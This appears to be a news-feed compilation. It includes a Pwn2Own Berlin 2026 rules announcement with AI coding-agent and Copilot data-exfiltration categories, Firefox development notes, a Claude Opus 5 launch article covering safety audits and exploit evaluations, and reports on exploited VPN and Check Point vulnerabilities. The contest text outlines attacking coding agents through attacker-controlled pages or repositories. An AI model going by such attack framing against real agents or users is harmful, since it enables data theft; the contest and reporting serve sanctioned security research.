Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.

This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just patched a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:

Back to top

The Server Category

The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:

Back to top

Local Escalation of Privilege Category

This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:

Back to top

The Container Category

We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:

Back to top

AI Database Category

In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:

Back to top

The Coding Agent Category

Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:

Back to top

The Local Inference Category

We couldn’t leave local inference and LLMs out of Pwn2Own. These products claim to provide enhanced data privacy, zero-cost inference, lower latency, and fully offline functionality. We’ll see how the security stacks up. An attempt in this category must be launched from the contestant’s laptop within the contest network. Here are the targets and payouts for the Local Inference category:

Back to top

The NVIDIA Category

Our last AI sub-category focuses solely on NVIDIA products. For network accessible targets, an attempt must be launched from the contestant's laptop within the contest network. For NV Container Toolkit, the attempt must be launched from within a crafted container image and execute arbitrary code on the host operating system. For Megatron Bridge, entries that leverage vulnerabilities pertaining to pickle deserialization or that leverage a vulnerability when “trust_remote_code=true” are out of scope. Here are the targets and payouts for the NVIDIA category:

Back to top

Conclusion

The complete rules for Pwn2Own Berlin 2026 are found here. As always, we highly encourage entrants to read the rules thoroughly if they choose to participate. If you are thinking about participating but have specific configuration or rule-related questions, email us. Questions asked over X (nee Twitter), BlueSky, or other means will not be answered. Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at pwn2own@trendmicro.com to begin the registration process. Registration for onsite participation closes at 5 p.m. Central European Time on May 7, 2026.

Be sure to stay tuned to this blog and follow us on Twitter, Mastodon, LinkedIn, or Bluesky for the latest information and updates about the contest. We look forward to seeing everyone in Germany, and we hope to see some of the best in the world show what they can do – vibe coded or not.

With special thanks to our Pwn2Own Berlin 2026 partners AWS, for providing their expertise and technology.

© 2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, ZERO DAY INITIATIVE, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

The Crow Girl season 2 is the 'unhinged, wild and deadly' crime drama you need to stream on Paramount+ and Channel 5 this weekend — I still can't wrap my head around its shocking finale

Sat, 25 Jul 2026 11:11:58 +0200

What do you get when you cross a group of dead bodies, an unhinged psychologist, a vulnerable detective, and the mother of all unforeseen twists? The Crow Girl season 2, of course.

Firefox Nightly: More Kit, More Control – These Weeks in Firefox: Issue 203

Sat, 25 Jul 2026 08:37:32 +0200

Highlights

James enabled adaptive autofill in Nightly for testing, which we believe should provide better results in the URL bar when doing autocomplete!
Jack updated the illustrations shown on some of our error pages to match the latest approved designs, giving users more polished artwork when the browser encounters connection or security errors!

Controls for the Memories feature can now be set during Smart Window onboarding

We’ve disabled the CSS filter implicitly applied to WebExtension pageAction SVG icons across all release channels starting in Firefox 152, completing the deprecation
- NOTE: The blog post published at WebExtensions API changes in Firefox 149-152 provides to extensions developers more details about this deprecation and links to the related MDN docs.

Friends of the Firefox team

Resolved bugs (excluding employees)

Script to find new contributors from bug list

Volunteers that fixed more than one bug

Amin Amir
Pranjali Srivastava
Sam Johnson

New contributors (🌟 = first patch)

Project Updates

Add-ons / Web Extensions

Addon Manager & about:addons

Fixed long-standing regression on the autocomplete and datalist popups for extension inline options pages on about:addons (introduced in Firefox 68 by Bug 1532724, fix shipping in Firefox 152) – Bug 1595158

WebExtensions Framework

Fixed access to web-accessible resources declared with from sandboxed documents (null-principal URLs), restoring extension redirects from the context-menu search flow, starting in Firefox 152 – Bug 2033905

WebExtension APIs

Added exhaustive test coverage for tabs.move() against additional edge cases related to split-view tabs – Bug 2029092

DevTools

Andreas Farre improved the Session History tab in the Application panel (still behind devtools.application.sessionHistory.enabled)
- added support for remote debugging (#2014064, #2016121)
- made sure that calls to History.replaceState are reflected in the UI (#2037359)
Julian Descottes [:jdescottes] fixed the most frequent DevTools crash we were observing in Telemetry, adding a guard against IDBTransaction errors when retrieving breakpoints in the Debugger (#2030260)
Nicolas Chevobbe [:nchevobbe] fixed the image preview tooltip for relative URLs images in constructed stylesheet (#2035503)
Julian Descottes [:jdescottes] reduced the overhead we had because of network requests monitoring by only decoding response content when the user actually want to see the response (#2026228)

WebDriver

Amin Amir cleaned up an incorrect variable assignment in our browsingContext module.
Logan Rosen updated stale references and broken links in our documentation about Marionette.
Sameem improved the Marionette and WebDriver BiDi screenshot commands to enforce maximum allowed dimensions.
Leo McArdle fixed the regression in the “log.entryAdded” event, which lacked an error message in the “text” field for the messages of type “error”.
Henrik Skupin fixed an issue in Marionette where WebDriver:Navigate and WebDriver:Refresh did not handle errors when the underlying navigation failed.
Henrik Skupin improved geckodriver to detect an early Firefox exit during startup on Android, avoiding up to 60 seconds of unnecessary connection attempts.
Henrik Skupin updated the geckodriver CI build job to produce a universal macOS binary supporting both x64 and aarch64.

Lint, Docs and Workflow

Sylvestre ported some linters (e.g. file-whitespace, test-manifest-toml, license, file-perm, rejected-words & more) to Rust to help improve the runtime of the code review bot.
Dale has been working on migration to moz-src for customkeys, dom/quota and odom/geolocation
- https://arewemozsrcyet.com/

New Tab Page

We did our first region-specific trainhop on May 11th (just 15% of the US), and turned on HNT Nova (and sometimes Widgets) for those clients to get some advance-data of its behaviour in the wild! A note that HNT Nova gets turned on for everybody when Firefox 151 ships on May 19th.
- We’ll be launching a similar experiment in the DE, probably on May 12th, also at 15% population.
Most of the team is heads down building out a sports-tracking widget, attempting to get that ready in time to be generally available for the upcoming World Cup event.
Dre landed a new world clock widget, which is currently off by default, but pretty snazzy!

Search and Urlbar

Nova (URL Bar Design Refresh)
- Drew and Daisuke continued their work on Nova styling for the Address bar (input and view).
Search and Suggest
- Drew finalized two bugs for World Cup and sports suggestions, which were landed and uplifted: one to update the localization string for scheduled games and another to show both teams’ icons in suggestions. Drew also landed and uplifted a fix for rich search suggestion icons being forced into a square aspect ratio.
- Standard8 updated Ecosia favicons to the latest branding, including QA testing and publishing.
Settings Redesign (SRD)
- Stephanie landed a test to ensure search suggestion settings are hidden when quicksuggest is disabled, as well as a patch to resolve TypeScript issues in search.mjs, and is adding test coverage to confirm removed search engines are not displayed in the default engines dropdown.
General URL Bar and Component Updates
- Daisuke landed implementation of the context menu on URL bar results, and a fix to show the loading URL in the URL bar when starting up with a homepage.
  - Marco is working on several tasks, including a PDF download / focus stealing issue and allowing arrays to be bound in Sqlite.sys.mjs. Marco also worked on fixes related to Places, such as avoiding replacing the favicons database if it is not corrupt.
- Standard8 finalized the URL bar test manifest split. Standard8 also upgraded us to TypeScript 6.
- Moritz landed a fix for URL bar abandonment telemetry being recorded when clicking an engine in the unified search button popup (Bug 2032973), which was also uplifted. Moritz also simplified search mode switcher item activation in tests, and made it so that the unified search button popup closes when installing an open search engine.

Smart Window

natural language starting with tab close/undo 2035343 with expandable action log 2031508

assistant rendering feedback up/down 2032994 and markdown table 2027029
nova styling blur 2027877 and suggestions 2026823
accessibility screen reader 2028676 and keyboard focus 2037565
optimize conversation starters extra requests 2030005 and caching 2033430

Storybook/Reusable Components/Acorn Design System

Nova token updates occasionally, focused on SRD

UX Fundamentals

Added support for the “SEC_ERROR_CA_CERT_INVALID” certificate error to the Felt Privacy error pages. – 2035942

Settings Redesign

Settings redesign is being tested and will hopefully go out in Firefox 152!

Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows

Fri, 24 Jul 2026 20:10:11 +0200

Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.

The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, Opus 4.8. It becomes the new default model on Claude Max, Anthropic's premium consumer tier, and the strongest model available on Claude Pro.

The positioning is deliberate. Anthropic is not claiming Opus 5 is its smartest model — that distinction still belongs to Fable 5, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.

"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."

How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models

On paper, the results are striking. Anthropic says Opus 5 sets new state-of-the-art marks on coding and knowledge-work evaluations including Frontier-Bench and GDPval-AA. On Frontier-Bench v0.1, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On ARC-AGI 3, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On OSWorld 2.0, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.

The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges Opus 5 remains behind Mythos 5, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.

The more revealing caveat came from Anthropic itself, when asked where Opus 5 still falls short of Fable 5. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.

"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."

Fable 5, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.

Why token efficiency is becoming the real battleground for enterprise AI spending

Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: Opus 5 doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.

Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."

Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.

The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item.

Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by Contrary Research, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.

Self-verifying AI agents and what they mean for the hidden costs of automation

Beyond the numbers, Anthropic is selling a behavioral story: that Opus 5 verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.

In one Frontier-Bench task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.

Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."

This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.

Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks

The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than Opus 4.8, Sonnet 5, or Fable 5, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.

On the capability side, Anthropic says it intentionally avoided training Opus 5 on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.

When a classifier does trigger, requests in Claude.ai, Claude Code, and Claude Cowork fall back to Opus 4.8 by default — raising an obvious question: if a request is too risky for one model, why is it acceptable for another? "The model it falls back to has lower capability levels making the risk of harmful use lower as well," the spokesperson said, adding that "there is a message that lets the user know when this occurs and is visible in the chat."

The logic is defensible, but it reveals how AI safety actually works in 2026: risk is not a property of the question alone, but of the question multiplied by the capability of the system answering it. On biology, the calculus runs the other way. Opus 5 is now Anthropic's most capable generally available model for scientific research — scoring 10.2 percentage points higher than Opus 4.8 on the company's internal chemistry benchmark — though the spokesperson acknowledged that "Mythos 5 remains the stronger model for long-horizon, open-ended work like autonomous drug design campaigns."

The business stakes behind the launch: a $380 billion valuation and massive compute bets

The launch lands at a moment of extraordinary commercial momentum — and extraordinary obligations — for Anthropic. Reuters reported in February that the company was valued at roughly $380 billion in its latest funding round, following a period in which, per Contrary Research's analysis, its annualized revenue climbed from about $1 billion at the end of 2024 to a projected $9 billion by the end of 2025, with internal targets reportedly reaching $20 to $26 billion for 2026. Those targets are underwritten by enormous infrastructure commitments, including a reported $30 billion Azure compute deal alongside arrangements with Google Cloud and Nvidia — spending that only pencils out if enterprises keep expanding usage.

That is the context in which Opus 5's pricing strategy makes sense. Holding the price at Opus 4.8 levels while roughly doubling performance on key agentic benchmarks is effectively a steep price cut per unit of capability, designed to widen the funnel of workloads that are economical to automate. Every task that was marginal at Opus 4.8's cost-per-success becomes viable at Opus 5's — and every viable task is recurring token revenue.

The regulatory backdrop has grown more complex as well. A U.S. judge gave final approval this week to Anthropic's $1.5 billion copyright settlement with book authors, Reuters reported, closing a chapter of litigation over the company's early training data. And in June, Reuters, citing Axios, reported that the U.S. government had moved to block foreign access to Anthropic's most advanced models — a reminder that frontier AI is now entangled with export policy in ways that shape which customers can buy what.

Also shipping Friday: a Fast mode running at roughly 2.5 times default speed at twice the base price, automatic fallback routing on the API, and mid-conversation tool changes that no longer invalidate the prompt cache — a small feature that agent developers may appreciate more than any benchmark. Consistent with prior Opus models, Opus 5 carries no data retention requirements for general access, a point the spokesperson flagged unprompted for customers with "a hard zero data retention requirement." Developers can access the model as claude-opus-5 on the Claude API starting today.

Two questions will determine whether the bet pays off: whether Opus 5's efficiency claims survive contact with production workloads at scale, and whether enterprises embrace a world where safety classifiers, not users, sometimes decide which model answers. But the deeper message of Friday's launch is that the AI industry's center of gravity has moved. For three years, the labs competed on what their best model could do on its best day. With Opus 5, Anthropic is competing on something less glamorous and far more lucrative: what a very good model can do every day, for half the price. In a market where the frontier keeps moving, Anthropic is wagering that the real fortune lies just behind it.

Ransomware groups are hammering your vulnerable VPNs

Fri, 24 Jul 2026 09:10:09 +0200

Cybercriminals are actively exploiting a recently discovered vulnerability in Palo Alto Networks firewall and VPN appliances to deploy the Qilin ransomware strain.

A critical authentication bypass flaw (CVE-2026-0257) in Palo Alto GlobalProtect portal and gateway was the common link in a series of intrusions in June, Arctic Wolf Labs warns. Exploitation of the vulnerability came within days of disclosure.

“Post-exploitation tradecraft varied across intrusions, from rapid encryption-only operations to full double-extortion, possibly suggesting multiple affiliates operating under the Qilin ransomware-as-a-service (RaaS) umbrella,” Arctic Wolf’s researchers wrote in a post on the threat.

The campaign against Palo Alto’s VPN client is part of a rising trend that sees ransomware groups increasingly targeting vulnerabilities in network edge tools and devices.

Ransomware takes aim at the edge

Beyond GlobalProtect, Qilin — the most active threat group in Q2 2026, responsible for 14% of attacks, according to NCC Group’s latest Quarterly Cyber Threat Intelligence Report — has also targeted flaws in Fortinet’s FortiGate, Citrix NetScaler, and Check Point Remote Access VPN.

Check Point warned in June of ransomware attacks against VPNs that still use the deprecated Internet Key Exchange version 1 (IKEv1) protocol. Citrix issued patches in early July for a CitrixBleed-like flaw in its NetScalar devices that had come under attack.

Meanwhile, Fortibleed, a massive credential-compromise campaign, exposed 75,000 FortiGate firewalls in June.

Qilin is by no means alone in increasing its operations against VPNs and other network security tools.

The Gentlemen, No. 2 on NCC Group’s list with 238 victims in Q2 2026, is noted for breaking into organizations through firewalls, VPNs, and other internet-exposed systems — FortiGate and Cisco products in particular.

Akira, No. 4 on NCC Group’s list (127 victims), is also known for exploiting VPN vulnerabilities and abusing legitimate credentials, primarily versus products from Ivanti, Cisco, and Fortinet.

In the line of fire

Network edge security devices are becoming security liabilities for enterprise security professionals, with an alarming rise in zero-day exploits arising from what experts describe as basic and readily preventable vulnerabilities.

A range of attackers spanning opportunistic hackers to ransomware-as-a-service operators and nation-state sponsored APT (advanced persistent threat) groups are actively exploiting software vulnerabilities in edge devices to hack into corporate networks.

“Although there has not been a material rise in ransomware volume in the last quarter, the trajectory of attacks continues upwards, and VPNs remain an increasingly attractive target,” said Matt Hull, VP and head of cyber intelligence and response at NCC Group.

Unpatched vulnerabilities in edge devices are far from the only software bugs fueling ransomware attacks. For example, last year the Clop ransomware gang hacked hundreds of companies by exploiting zero-day vulnerabilities in Oracle’s E-Business Suite software.

Edge of darkness

VPNs and other internet-facing edge devices remain prime targets for ransomware operators because they provide a direct route into an organization’s network.

“Attackers may exploit an unpatched vulnerability, use stolen credentials, or target weak authentication controls,” said Alexander Leslie, a senior advisor at cyber threat intelligence firm Recorded Future. “In some cases, exploitation begins before organizations have had sufficient time to apply vendor guidance, leaving security teams with a very narrow window to respond.”

VPN exploitation sits alongside other initial access methods, such as phishing, compromised credentials, or software supply chain attacks. The preferred attacker infiltration method varies by campaign and sector but locating security in edge devices carry particular advantages from the perspective of attackers.

“Vulnerabilities in perimeter devices are particularly valuable to attackers because those systems are continuously exposed to the internet and can provide privileged access while bypassing some endpoint controls,” said Leslie.

Dray Agha, senior manager of security operations at managed detection and response firm Huntress, backed up this assessment that exploiting internet-facing VPNs and edge devices remains the “dominant, volume-driven tactic” for ransomware operators because these appliances offer a “direct, publicly accessible gateway straight into the heart of corporate networks.”

Rather than exploiting vulnerabilities in edge devices, attackers more commonly use internet-facing gateways as a means to abuse stolen credentials to break into corporate networks, according to Huntress.

“What we see at Huntress is that the VPN is the site of initial access some 70% of the time, for advanced threat actors,” said Agha. “Overwhelmingly, however, they are not exploiting for access; rather they are using stolen credentials to authenticate to non-MFA’d [multi-factor authentication] user accounts.”

Hardened perimeter

CSOs should treat their network perimeter as hostile territory by enforcing aggressive patch management, applying critical edge device updates within 24 to 48 hours, and mandating strict MFA for all access.

Implementing zero-trust network segmentation to trap attackers and prevent lateral movement if the initial gateway is compromised also helps in making enterprise networks more resilient against attacks, Huntress’ Agha advised.

Phishing-resistant multi-factor authentication, removal of unsupported systems, and close monitoring for unusual authentication or administrative activity also form key components in attack impact mitigation.

Internet-facing assets that are known to be actively exploited should be prioritized as a patching priority.

“Threat intelligence and evidence of active exploitation should help determine which vulnerabilities demand immediate action,” Recorded Future’s Leslie said.

Check Point hole grants unauthenticated attackers full SmartConsole admin privileges

Thu, 23 Jul 2026 22:25:55 +0200

Check Point has confirmed that a critical security hole in its SmartConsole management tool, one that allows unauthenticated attackers to assume full admin privileges, is now being exploited in the wild. The vulnerability, CVE-2026-16232, was given a CVSS score of 9.3.

In its security alert, Check Point described the bug as one allowing an unauthenticated attacker to “obtain an application login token and use it to login via SmartConsole with full admin privileges and apply changes to the security policy and security configuration.”

The company has released a patch for the bug and also recommends that users “limit Trusted Clients, GUI clients, to trusted IP addresses/subnets.” That approach has always been a best practice, but practical networking realities today make it challenging to maintain. Check Point said that the exploit has impacted ten of its customers, all of whom it had notified directly.

Far worse than most

Frank Dickson, group VP for security at IDC, said this security hole is far worse than most.

“This hits harder than your average CVE because of where it lives,” he said. “The CVE targets the SmartConsole login on Check Point’s Security Management Server, the console that pushes policy to every gateway underneath it. Popping a gateway gets you one lock picked. Popping the management server is more like finding the One Ring: one stolen token to rule every gateway it manages, no need to fight each one individually. The attacker can rewrite policy, open new VPN paths and kill the logging.”

In an interview with CSO Online, Lotem Finkelstein, vice president of research at Check Point, said that the company learned of the vulnerability on Sunday, emailed customers the same day, and released the patch within 72 hours.

But when his team re-reviewed earlier logs, knowing what to look for, they spotted this hole being attacked as early as April, Finkelstein said.

The fact that, over the course of three months, the team only found ten organizations under attack, indicated that it has been very difficult for the attacker to find vulnerable systems, he noted; customers were, in the main, using secure settings to protect themselves.

Nonetheless, Finkelstein said, Check Point considers this hole to be “a severe vulnerability.”

Challenges of IP address restrictions

While it can be technically challenging to keep the IP address allowlists that Check Point recommends current, given DHCP’s ability to easily change those addresses, Assaf Morag, a cybersecurity researcher at Flare, noted that specifically limiting access to a management console is far more critical than limiting overall external access.

“Implementing Trusted Clients as a per-IP allowlist is impractical,” he said, but that is not the case with restricting management access. “The more scalable solution is to restrict access based on trusted administrative network segments such as VPN pools, management VLANs, or jump hosts rather than maintaining lists of individual DHCP-assigned client addresses,” he explained. “That gives you the security benefit without creating a full-time administrative task. Maintaining allowlists for individual hosts is much more practical when those hosts have stable, predictable IP addresses, rather than dynamically assigned DHCP addresses.”

Pieter Arntz, malware intelligence researcher at Malwarebytes, also noted that the constantly changing nature of global IP addresses can prove annoying to IT teams. Stressing that he is not familiar with Check Point’s specific settings, he noted, “Certain settings are a nuisance when applied strictly, and at some point the IT staff gets tired of constantly tweaking and they abandon the most secure path.”

Ideal platform for long-term attacks

Mike Wilkes, enterprise CISO at Aikido Security, agreed that the severity and exposure of this hole is alarming.

“This is exactly the kind of vulnerability that keeps CISOs awake at night because it strikes at the one system that is supposed to stand between the attacker and everything else. An authentication bypass that grants administrative control of a perimeter firewall isn’t just another CVE to patch. It’s an invitation for an adversary to rewrite the rules of the network itself,” he said. “The uncomfortable reality is that nobody runs a CrowdStrike agent on their firewall. Once an attacker owns an edge device, they gain a uniquely privileged position that often falls outside the visibility of traditional endpoint security, making it an ideal platform for persistence, credential theft, traffic manipulation, and long-term espionage.”

IDC’s Dickson strongly encouraged CISOs to deploy the patch, not to just change settings to mitigate the issue.

“Apply the actual hotfix,” he said. “Don’t just restrict Trusted Client IPs and call it done. That’s a stopgap, not a fix. Any internet-facing management console, Check Point or otherwise, is a five-alarm architecture problem independent of this CVE.”

And, he added, “since attackers here can disable logging, audit admin activity going back before the bug surfaced. Quiet logs aren’t proof nothing happened. This is the recurring theme with ‘single pane of glass’ security tools: the console built to make everything easier to run is also the one thing you really don’t want someone else driving.”

The Case Against Mullvad

Thu, 23 Jul 2026 22:09:30 +0200

Make of this case what you will. It offers the facts as they stand today. A privacy company is implicated in extremist politics organized against the rights it sells, privacy first among them. Opposites: A theme emerges that they are branded the “mole” company, a privacy leaker, yet they sell a VPN service. The co-CEO … Continue reading →

BHIS - Talkin' Bout [infosec] News 2026-07-27

Thu, 23 Jul 2026 14:50:00 +0200

Author: Black Hills Information Security - Bewertung: 0x - Views:0

Join us LIVE on Mondays, 4:30pm EST.
A weekly Podcast with BHIS and Friends. We discuss notable Infosec, and infosec-adjacent news stories gathered by our community news team.
https://bhisnews.transistor.fm

Chat with us on Discord! -
https://discord.gg/bhis
🔴live-chat

🔗 Register for FREE webcasts, summits, and workshops -
https://poweredbybhis.com

Brought to you by:
Black Hills Information Security
https://www.blackhillsinfosec.com

Antisyphon Training
https://www.antisyphontraining.com/

Active Countermeasures
https://www.activecountermeasures.com

Wild West Hackin Fest
https://wildwesthackinfest.com

#livestream #infosec #news #BHIS #podcast #Cybersecurity #infosecnews

CVE-2026-16232: Critical Check Point SmartConsole Authentication Bypass Exploited in the Wild

Thu, 23 Jul 2026 14:42:23 +0200

Overview

On July 22, 2026, Check Point published a security advisory for multiple vulnerabilities affecting Security Management, Multi-Domain Management, and firewall products. The most urgent of these is CVE-2026-16232, an authentication bypass in the SmartConsole login process classified as improper authentication (CWE-287). CVE-2026-16232 has been assigned a critical CVSS score of 9.1. The vulnerability allows an unauthenticated remote attacker to obtain an application login token and authenticate to the management server with full administrative privileges, enabling modification of security policies and configurations.

Check Point has confirmed that CVE-2026-16232 is being actively exploited in the wild, affecting what the vendor describes as a small number of customers. Remote exploitation requires network access to the Management Server IP address in environments that do not restrict Trusted Clients. On the same day as the advisory, CVE-2026-16232 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), with a remediation due date of July 25, 2026, giving organizations only three days to respond.

The advisory addresses three vulnerabilities in total:

CVE	CVSS	Description	Affected Products	Exploitation Status
CVE-2026-16232	Vendor: 9.3 (Critical) CISA: 9.1 (Critical)	Authentication bypass via SmartConsole application token	Security Management, Multi-Domain Management	Exploited in the wild
CVE-2026-62144	Vendor: 9.3 (Critical) CISA: 9.1 (Critical)	Management authentication bypass and privilege escalation	Security Management, Multi-Domain Management	No known exploitation
CVE-2026-62145	7.5 (High)	Local privilege escalation in GaiaOS WebUI	Firewall, Multi-Domain Management, Multi-Domain Log Server	No known exploitation

Compromise of a Security Management Server is particularly consequential because it sits at the top of the trust hierarchy. An attacker with administrative access can modify security policies across managed gateways, alter administrator permissions, manipulate VPN configurations, and potentially disable or tamper with logging and monitoring. According to Check Point's advisory, the vulnerabilities were discovered during a routine internal review, with subsequent analysis revealing that CVE-2026-16232 had been exploited prior to the availability of a patch.

Check Point network security products have been targeted by multiple in-the-wild vulnerabilities over the past two years. In June 2026, CVE-2026-50751, a critical authentication bypass in Check Point Remote Access VPN, was exploited in the wild and added to the CISA KEV. In May 2024, CVE-2024-24919, a high-severity information disclosure vulnerability in Check Point Quantum Security Gateways, was also exploited in the wild. Organizations running affected Check Point management products should apply the available hotfixes on an emergency basis.

Mitigation guidance

Check Point released Jumbo Hotfixes on July 22, 2026, to remediate CVE-2026-16232, CVE-2026-62144, and CVE-2026-62145. Organizations running affected versions of Security Management or Multi-Domain Management should install the latest Jumbo Hotfix on an emergency basis, without waiting for a regular patch cycle to occur.

The following versions are affected by CVE-2026-16232:

R82.10: fixed in Jumbo Hotfix Take 36 and later
R82: fixed in Jumbo Hotfix Take 118 and later
R81.20: fixed in Jumbo Hotfix Take 158 and later
